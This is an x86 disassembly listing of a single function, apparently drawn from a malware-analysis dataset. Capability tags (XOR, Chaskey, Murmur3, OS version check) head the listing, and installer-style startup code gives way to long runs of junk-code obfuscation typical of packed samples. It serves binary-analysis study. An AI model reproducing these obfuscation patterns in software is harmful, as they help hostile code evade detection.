Function at 0x4033b6
Capabilities:
Check os version
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
sub esp, 0x2d4
push ebx
push esi
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x4033fc
push ebx
call fcn.00406558
cmp eax, ebx
je 0x4033fc
push 0xc00
call eax
mov esi, str.UXTHEME
push esi
call fcn.004064e8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x403401
push ebp
push 9
call fcn.00406558
push 7
call fcn.00406558
mov dword [0x42a244], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov dword [0x42a2f8], eax
push ebx
lea eax, [esp + 0x34]
push 0x2b4
push eax
push ebx
push 0x4216e8
sub edi, 0x23200aaf
call fcn.0040585b
shr edx, 0x18
xor eax, 0xa791508b
sub esi, esp
rol edi, 0x1e
shr edx, 4
and dword [0x42a6f7], esi
cmp dword [0x40a176], 0x98e2ebee
js 0x403482
add eax, 0x1dcfec94
or eax, 0x1fa8f260
inc esi
dec edx
mov ecx, 0x756da7f0
xor edi, edi
sub esi, 0x1b140500
xor edi, dword [0x40a542]
shl ebx, 4
ror eax, 0x1a
cmp edi, 0x15b3946b
je 0x4034ad
neg esi
call fcn.0040585b
add edx, 0xc9e3d4c9
shl edx, 0x16
call fcn.004014c2
mov edi, dword [0x40a0e6]
or edx, 0xf7ca29d4
and eax, dword [0x40a2b1]
and esi, 0xda31b20
add esi, 0x44cd95a2
and esi, 0xf012b639
ror edx, 0xc
sub ebx, ebx
dec ecx
jne 0x40348f
sub edx, ecx
neg edx
cmp ebp, 0xc7ff4eae
jne 0x4034fc
rol ebx, 4
inc edi
rol edx, 0xb
dec edx
and dword [0x42a803], 0x9f8cbdd6
mov ecx, 0x35981a62
sub ebx, 0xf56dbe70
shr ebx, 0x12
shl eax, 0x1d
xor dword [0x42a7d6], 0xb1692724
xor esi, dword [0x40a409]
call fcn.004016f7
add ebx, 0xfc30a3e1
ror ebx, 0x12
not eax
shr edx, 0x14
mov edx, esi
call fcn.0040585b
neg edx
xor edi, 0x3b42f829
and dword [0x42a37c], eax
xor dword [0x42a4be], edi
ror ebx, 0xe
mov edx, edi
add ebx, 0xa149f0d7
dec ecx
jne 0x403510
neg edi
mov ebx, 0x4eb89698
add edx, dword [0x42ace3]
xor ebx, esi
xor dword [0x42a89c], esi
xchg esi, eax
or esi, dword [0x42af44]
or dword [0x42a357], esi
and dword [0x42a922], edx
dec edx
sub edi, 0x3b5ee2ab
not esi
sub dword [0x42a670], ecx
call 0x405075
xchg ecx, edx
xor eax, dword [0x42af44]
inc esi
call fcn.0040601e
dec esi
xchg ecx, edx
call fcn.004031e8
not esi
add edi, 0x3b5ee2ab
inc edx
or dword [0x42a923], edx
and dword [0x42a61b], eax
xchg esi, eax
xor ebx, esi
sub ebx, 0xe1b7cf56
sub edi, esi
inc esi
sub esi, dword [0x42af9c]
xor eax, esi
inc edi
call 0x405075
add dword [0x42a62d], 0x744248c2
inc edi
xor dword [0x42a38e], edx
neg esi
rol ecx, 4
call fcn.004014c2
sub ebx, dword [0x42af7a]
ror esi, 1
call fcn.0040211b
or dword [0x42a392], esi
xor edx, ebp
add eax, esp
dec ebx
sub edx, dword [0x42ab40]
call fcn.0040601e
inc ebx
sub eax, esp
xor edx, ebp
sub dword [0x42a7aa], eax
call fcn.00402717
rol esi, 1
ror ecx, 4
neg esi
and dword [0x42a856], eax
dec edi
and dword [0x42a59f], 0x4d099eee
call 0x405075
dec edi
xor eax, esi
dec esi
add edi, esi
xor ebx, 0x6d00c742
rol ecx, 0x10
inc esi
not ecx
sub esi, 0xe4d2ef4c
rol ecx, 0x15
or dword [0x42a901], ecx
ror ecx, 5
dec esi
add ebx, esp
xchg ecx, eax
xor esi, esp
add edi, ebp
sub edx, dword [0x42ad64]
xor dword [0x42a4d0], eax
add ebx, dword [0x42aa02]
sub edi, ebp
xor esi, esp
xchg ecx, eax
sub ebx, esp
inc esi
rol ecx, 5
and dword [0x42a5f5], edi
ror ecx, 0x15
add esi, 0xe4d2ef4c
not ecx
dec esi
ror ecx, 0x10
push ebx
call fcn.00402508
xchg ecx, edx
add edx, dword [0x42ae58]
neg esi
xchg ebx, esi
dec edx
xor ebx, esp
sub dword [0x42a79a], eax
call fcn.00401b41
or ebx, dword [0x42af17]
xchg ebx, eax
call fcn.0040569f
xchg ecx, esi
rol eax, 3
xor edi, 0xdf206a9
mov dword [0x42a3d5], 0x37a17233
xchg ebx, esi
neg ebx
call fcn.00401b41
call fcn.0040211b
neg ebx
xchg ebx, esi
xor dword [0x42a4bc], 0xce161edb
xor edi, 0xdf206a9
ror eax, 3
xchg ecx, esi
call fcn.004014c2
xchg ebx, eax
call 0x405075
mov dword [0x42a8ca], ebx
xor ebx, esp
inc edx
xchg ebx, esi
neg esi
xchg ecx, edx
mov edx, 0xe3bc0bf6
or esi, dword [0x42acf5]
xor ecx, esp
xchg edi, edx
add ebx, ebp
xor esi, edi
ror edi, 0xe
and dword [0x42a6df], edi
sub edi, dword [0x42ad9c]
call 0x405075
add edi, dword [0x42af36]
sub eax, dword [0x42ae70]
dec edx
call fcn.0040339c
call 0x405075
inc edx
call fcn.0040569f
or dword [0x42a828], edi
rol edi, 0xe
xor esi, edi
sub ebx, ebp
xchg edi, edx
xor ecx, esp
or edx, 0x327f91e5
xor ecx, edi
xor ecx, edx
add dword [0x42a8ab], edi
neg eax
add edi, 0x5b44f16e
inc ecx
rol edx, 1
dec ebx
call fcn.0040569f
dec ebx
neg eax
dec esi
call 0x405075
or ecx, dword [0x42aa23]
xchg ecx, eax
neg esi
call fcn.004014c2
neg esi
xchg ecx, eax
call fcn.0040601e
inc esi
neg eax
inc ebx
call 0x405075
inc ebx
ror edx, 1
dec ecx
sub edi, 0x5b44f16e
neg eax
mov dword [0x42a743], eax
xor ecx, edx
xor ecx, edi
add edx, 0x3e33d06e
dec edi
call fcn.00406696
xor esi, 0xe6617511
call fcn.00402c27
sub edx, 0xd7a24960
xor eax, dword [0x42ac7f]
xor dword [0x42a8cb], eax
add ebx, edx
neg esi
xor eax, ebx
xor edi, ebp
ror esi, 0xd
call fcn.00402d9e
xor edi, dword [0x42aacb]
ror edx, 0x13
add edi, dword [0x42af8b]
not edx
inc edx
call 0x405075
xor ecx, dword [0x42acad]
xor edi, 0x7e77a655
call 0x405075
call fcn.00406696
xor edi, 0x7e77a655
call fcn.004031e8
dec edx
not edx
rol edx, 0x13
call fcn.00405982
rol esi, 0xd
xor edi, ebp
xor eax, ebx
neg esi
sub ebx, edx
xor dword [0x42a43f], edx
add edx, 0xd7a24960
call 0x405075
xor esi, 0xe6617511
inc edi
push edx
add dword [0x42a4ae], 0xf744fb1d
sub ebx, 0xa682261a
xor esi, dword [0x42af39]
rol ebx, 0x14
sub ebx, eax
sub ecx, dword [0x42abb7]
add dword [0x42a658], edi
xor edi, 0x5ef0e2b5
or edi, dword [0x42adc4]
sub edi, 0x3402b959
add ebx, dword [0x42af23]
call 0x405075
sub dword [0x42a91a], eax
neg eax
xor dword [0x42a7c1], 0xef953e6a
sub edx, dword [0x42ae90]
xchg ebx, esi
dec eax
call fcn.004014c2
add dword [0x42a6a1], esi
call fcn.004022a2
call fcn.004022a2
call fcn.00406696
inc eax
xchg ebx, esi
sub dword [0x42a528], 0x911641f
neg eax
and dword [0x42a8cb], esi
call 0x405075
add edi, 0x3402b959
xor edi, 0x5ef0e2b5
xor dword [0x42a962], esi
add ebx, eax
ror ebx, 0x14
add ebx, 0xa682261a
mov dword [0x42a7b8], 0x32d358b3
mov edi, 0x15f782b5
xor eax, 0xd6ef087c
rol eax, 3
xor esi, dword [0x42ad7e]
call fcn.0040601e
add byte [ecx], dh
adc eax, 0x42a376
neg esi
dec edx
neg ecx
xchg edx, eax
call fcn.0040601e
or dword [0x42a691], 0x96445dd5
xchg eax, esi
xchg eax, esi
or dword [0x42a563], 0x56320d94
call fcn.004059c0
xchg edx, eax
neg ecx
inc edx
neg esi
sub dword [0x42a870], eax
ror eax, 3
xor eax, 0xd6ef087c
and edi, 0xf3f5549f
call fcn.0040601e
ror ecx, 5
neg ecx
xor eax, ebp
xor esi, dword [0x42adb1]
call fcn.004014c2
add ecx, dword [0x42ac69]
xchg edi, eax
inc ecx
add edx, eax
call fcn.004014c2
sub edx, eax
dec ecx
xchg edi, eax
call fcn.00406696
xor eax, ebp
neg ecx
rol ecx, 5
call 0x405075
add edi, 0x5c7d64d6
sub esi, dword [0x42ab3f]
ror esi, 0x19
sub ecx, dword [0x42a9fa]
ror ecx, 0xb
add edi, 0xafb22250
dec esi
or esi, dword [0x42ae57]
and dword [0x42a658], ebx
sub edi, dword [0x42ac63]
xor dword [0x42a87f], edx
sub dword [0x42a6c4], eax
xor dword [0x42a4f6], ecx
add dword [0x42a4b6], ecx
xor dword [0x42a660], eax
inc esi
sub edi, 0xafb22250
rol ecx, 0xb
rol esi, 0x19
push edi
xor esi, edi
dec esi
add eax, ebx
ror edx, 0xc
xor eax, dword [0x42ad22]
call fcn.0040629d
dec ecx
sub dword [0x42a3b8], 0xe63ce95c
inc ebx
dec ecx
add ecx, 0xdcdd188
call fcn.004014c2
or dword [0x42a979], edi
inc ecx
sub edi, esp
neg eax
add edi, 0x842688cd
and dword [0x42a7f4], eax
dec ecx
or dword [0x42a38f], ecx
sub edi, 0x450efc2a
xchg ecx, eax
xchg ecx, eax
add edi, 0x450efc2a
and dword [0x42a71e], edx
inc ecx
mov dword [0x42a587], eax
sub edi, 0x842688cd
neg eax
add edi, esp
dec ecx
add dword [0x42a65a], edx
call fcn.00402717
sub ecx, 0xdcdd188
inc ecx
dec ebx
inc ecx
call fcn.00406931
rol edx, 0xc
sub eax, ebx
inc esi
xor esi, edi
push esp
add ebx, dword [0x42a9e0]
dec eax
not esi
ror esi, 6
neg eax
sub dword [0x42a5a4], 0x5c40a198
xor eax, dword [0x42aae0]
xor ebx, 0x442b6b66
sub dword [0x42a82b], 0x75d3007
xor ebx, dword [0x42af7e]
and dword [0x42a533], edi
rol edi, 8
inc ebx
xor ebx, 0x657a6d43
not esi
xor edx, dword [0x42af20]
add dword [0x42a86e], esi
xchg eax, esi
xchg eax, esi
not esi
xor ebx, 0x657a6d43
dec ebx
ror edi, 8
or dword [0x42a3d3], edx
mov dword [0x42a8e0], 0x84d593f1
xor ebx, 0x442b6b66
neg eax
rol esi, 6
not esi
inc eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
neg edx
rol eax, 0x13
add ecx, dword [0x42ac83]
add eax, edx
call fcn.004014c2
sub dword [0x42a876], esi
rol edx, 0x13
sub dword [0x42a3cd], esi
inc ecx
add esi, edx
call 0x405075
sub esi, edx
dec ecx
ror edx, 0x13
or dword [0x42a5f4], ecx
call 0x405075
sub eax, edx
ror eax, 0x13
neg edx
add esp, 0xc
sub ecx, dword [0x42ab76]
sub esi, 0x814a6adf
add dword [0x42a71e], eax
xor esi, 0xc8a6208b
xor edi, ebx
call fcn.00401b41
inc esi
xor dword [0x42a709], 0xa137434
ror eax, 0xa
dec edx
call 0x405075
rol eax, 0x13
add edx, dword [0x42a9db]
call 0x405075
call 0x405075
ror eax, 0x13
inc edx
rol eax, 0xa
mov dword [0x42a804], 0xde030c09
dec esi
call 0x405075
xor edi, ebx
xor esi, 0xc8a6208b
and dword [0x42a3c0], eax
add esi, 0x814a6adf
mov edi, 0xc133aa6a
and dword [0x42a48b], 0xbc29f5f0
not ebx
xor esi, ebp
and dword [0x42a955], ecx
rol esi, 0xa
call 0x405075
xor esi, esp
inc eax
call fcn.004022a2
add edx, dword [0x42af2d]
call 0x405075
dec eax
xor esi, esp
call 0x405075
ror esi, 0xa
and dword [0x42a5c9], esi
xor esi, ebp
not ebx
and dword [0x42a840], 0xad3ad317
sub edi, 0x489779ae
rol edi, 0xc
add ebx, 0x1104e199
xor ebx, 0x95d96e60
add edi, dword [0x42ac4d]
call 0x405075
rol esi, 0xf
xor edi, 0xc566b002
inc eax
call fcn.00406696
add edi, dword [0x42ad01]
inc esi
xor ebx, dword [0x42ab09]
sub ecx, esi
xor eax, ebx
xor eax, dword [0x42abb3]
call fcn.00406696
call fcn.0040629d
xor eax, ebx
add ecx, esi
dec esi
call 0x405075
dec eax
xor edi, 0xc566b002
ror esi, 0xf
xor ebx, 0x95d96e60
sub ebx, 0x1104e199
ror edi, 0xc
sub edi, 0x789c30bc
xor dword [0x42a3a7], ecx
or dword [0x42a715], esi
ror eax, 7
xor dword [0x42a77b], 0xbfdd9923
xor edi, eax
xor edi, dword [0x42aadf]
sub eax, edi
xor edx, dword [0x42af59]
mov dword [0x42a53d], esi
neg edi
add dword [0x42a554], edi
xchg ecx, eax
ror ecx, 0x15
sub esi, dword [0x42ac1a]
xor ecx, edx
add ecx, dword [0x42ab38]
dec edi
rol esi, 0xa
add edi, 0x31f57d6a
call 0x405075
sub edi, 0x31f57d6a
ror esi, 0xa
inc edi
xor ecx, edx
rol ecx, 0x15
xchg ecx, eax
and dword [0x42a955], edx
neg edi
sub dword [0x42a68a], edi
add eax, edi
xor edi, eax
or dword [0x42a7f2], 0x519c6e75
rol eax, 7
xor dword [0x42a628], edi
and dword [0x42a714], ebx
push edi
add ecx, ebx
inc edx
xor dword [0x42a386], edi
call 0x405075
inc ebx
add dword [0x42a3b3], ebx
xor eax, dword [0x42af0a]
sub edi, dword [0x42aee2]
add ebx, dword [0x42ac15]
xor esi, dword [0x42ac42]
add dword [0x42a5c4], edi
xor edx, 0x7b99a508
add dword [0x42a3cb], edi
inc ecx
ror edx, 0xf
add ecx, dword [0x42afa2]
call 0x405075
mov dword [0x42a5a2], ebx
add ebx, dword [0x42ac90]
sub esi, 0x1e09e39b
sub ecx, dword [0x42ae27]
call fcn.0040339c
call fcn.004031e8
add esi, 0x1e09e39b
mov dword [0x42a540], edx
call fcn.00401f59
rol edx, 0xf
dec ecx
add dword [0x42a493], ebx
xor edx, 0x7b99a508
and dword [0x42a357], eax
or dword [0x42a35f], esi
dec ebx
call fcn.00401e7d
add dword [0x42a60b], edi
dec edx
sub ecx, ebx
mov edx, 0x9bd4b75e
neg ecx
add esi, 0x8d837348
xor esi, 0xfe37d187
sub esi, 0x848107c8
sub dword [0x42a704], edx
add esi, ebx
inc edi
xor esi, 0xd2cb8a76
inc eax
call 0x405075
add dword [0x42a529], edi
inc ebx
or ecx, dword [0x42ab87]
not ebx
sub dword [0x42a741], 0x15bfeb67
neg esi
rol eax, 7
add esi, dword [0x42acc7]
xor edx, edi
call 0x405075
ror esi, 4
rol esi, 4
xor edx, edi
ror eax, 7
neg esi
add dword [0x42a582], 0x84cf360a
not ebx
dec ebx
or dword [0x42a479], ebx
dec eax
xor esi, 0xd2cb8a76
dec edi
sub esi, ebx
xor dword [0x42a819], edi
add esi, 0x848107c8
xor esi, 0xfe37d187
sub esi, 0x8d837348
neg ecx
and edx, 0xcb20dca5
call 0x405075
sub eax, 0xebff66b9
neg ecx
dec ecx
xor ecx, 0x235726b6
not edi
or esi, dword [0x42acd4]
xchg esi, edx
ror eax, 0xc
xchg esi, edx
call 0x405075
xchg esi, edx
rol eax, 0xc
xchg esi, edx
not edi
xor ecx, 0x235726b6
inc ecx
neg ecx
add eax, 0xebff66b9
call 0x405075
add edx, 0xd86ed868
not esi
xor edx, 0x2f25f56b
xor eax, dword [0x42aaad]
neg ecx
dec edi
xor dword [0x42a78c], ebx
sub ebx, dword [0x42ad1b]
add esi, 0xf2c4263a
xor dword [0x42a8ae], 0xe1bbc75a
add ebx, dword [0x42abac]
ror ebx, 0x1e
add edx, dword [0x42aeab]
rol ebx, 0x1e
mov dword [0x42a852], 0xea3792ff
sub esi, 0xf2c4263a
and dword [0x42a92f], edi
inc edi
neg ecx
xor edx, 0x2f25f56b
not esi
push edx
xchg ebx, esi
call 0x405075
sub edx, dword [0x42af93]
inc esi
xchg edi, esi
mov dword [0x42a401], edx
add eax, dword [0x42ae4b]
xor eax, 0x21fdd176
add ecx, dword [0x42ab16]
not edx
xchg eax, esi
call fcn.00402508
call fcn.00401d43
call 0x405075
xchg eax, esi
not edx
xor eax, 0x21fdd176
xor dword [0x42a5b8], esi
xchg edi, esi
dec esi
call fcn.0040569f
xchg ebx, esi
mov edi, 0x2a476525
dec esi
or dword [0x42a8d0], esi
rol eax, 0x1c
neg ebx
sub edx, 0xab7ed7c3
neg edi
ror ecx, 0x11
add ebx, 0xda665c11
neg edx
inc ebx
ror ecx, 0x13
mov dword [0x42a4fc], 0x9e7dbee9
not ebx
rol edx, 0x1c
dec ecx
add edx, esp
sub dword [0x42a654], 0xd6f4f3e8
xor dword [0x42a6dd], ebx
call fcn.00406696
dec esi
call 0x405075
call 0x405075
call fcn.00402961
call fcn.004016f7
inc esi
call fcn.0040629d
and dword [0x42a8b2], eax
add dword [0x42a690], 0x10290eb2
sub edx, esp
inc ecx
ror edx, 0x1c
not ebx
sub dword [0x42a5c0], 0x41975bc3
rol ecx, 0x13
dec ebx
neg edx
sub ebx, 0xda665c11
rol ecx, 0x11
neg edi
add edx, 0xab7ed7c3
neg ebx
ror eax, 0x1c
xor dword [0x42a390], ecx
inc esi
xor edi, 0xcb6b7a90
ror ecx, 0x16
add dword [0x42a888], ecx
add dword [0x42a82c], esi
sub esi, 0x8ad3dd3
sub dword [0x42a8ce], ecx
xor esi, 0xcddf75df
xor ebx, eax
add esi, 0x5c5095d9
sub dword [0x42a36d], edi
call fcn.0040585a
neg esi
call fcn.004014c2
call fcn.0040211b
neg esi
add dword [0x42a5ef], eax
sub esi, 0x5c5095d9
xor ebx, eax
xor esi, 0xcddf75df
sub dword [0x42a5c4], esi
add esi, 0x8ad3dd3
and dword [0x42a820], eax
rol ecx, 0x16
xor edi, 0xa0407ec0
xchg ebx, esi
call 0x405075
xor edx, 0xf411c151
dec ecx
and dword [0x42a6e1], ecx
inc ebx
ror ecx, 0x1f
mov dword [0x42a48a], edi
sub dword [0x42a6d7], edx
sub dword [0x42a829], ecx
sub edx, esi
not ecx
call fcn.00402717
mov dword [0x42a40e], esi
dec ecx
call 0x405075
call fcn.00401f59
call fcn.0040601e
inc ecx
sub dword [0x42a8c7], esi
not ecx
add edx, esi
and dword [0x42a808], eax
or dword [0x42a437], edx
add dword [0x42a47d], ecx
rol ecx, 0x1f
dec ebx
or dword [0x42a924], esi
inc ecx
xor edx, 0xf411c151
call fcn.00406696
xchg ebx, esi
push edi
dec edi
call fcn.00402c27
xor edi, dword [0x42ab39]
inc esi
or dword [0x42a4c0], eax
xchg ebx, edx
and dword [0x42a805], esi
add ecx, 0xdd0490bd
add esi, dword [0x42acde]
call 0x405075
call fcn.004027d7
sub ecx, 0xdd0490bd
xchg ebx, edx
dec esi
inc edi
mov ecx, 0xb1af6064
ror ebx, 0xd
call fcn.00401918
sub ecx, dword [0x42aa3c]
or edx, dword [0x42ab37]
add dword [0x42a8c3], edi
ror ecx, 0x1d
call 0x405075
ror ecx, 6
sub edx, dword [0x42aa6b]
call 0x405075
not esi
sub ebx, 0x45f37a28
ror eax, 0x17
xchg ebx, edx
xchg ebx, edx
rol eax, 0x17
add ebx, 0x45f37a28
not esi
call 0x405075
rol ecx, 6
call 0x405075
rol ecx, 0x1d
and dword [0x42a63c], esi
rol ebx, 0xd
and ecx, 0xb809c80b